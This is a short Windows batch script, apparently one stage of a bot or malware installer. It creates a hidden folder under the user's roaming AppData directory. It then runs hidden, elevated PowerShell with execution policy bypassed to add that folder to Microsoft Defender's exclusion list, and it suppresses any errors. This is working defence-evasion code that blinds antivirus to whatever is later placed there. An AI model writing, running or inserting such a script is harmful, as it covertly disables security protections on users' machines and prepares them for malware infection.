@echo off
setlocal

set "roamingPath=%APPDATA%\Dewbots\Dewbot"
if not exist "%roamingPath%" mkdir "%roamingPath%" >nul 2>&1

powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command ^
  "Start-Process powershell -ArgumentList '-ExecutionPolicy Bypass -WindowStyle Hidden -Command \"try { Add-MpPreference -ExclusionPath ''%roamingPath%'' -ErrorAction Stop } catch { try { Set-MpPreference -ExclusionPath ''%roamingPath%'' -ErrorAction Stop } catch {} }\"' -Verb RunAs"
endlocal
exit /b 0
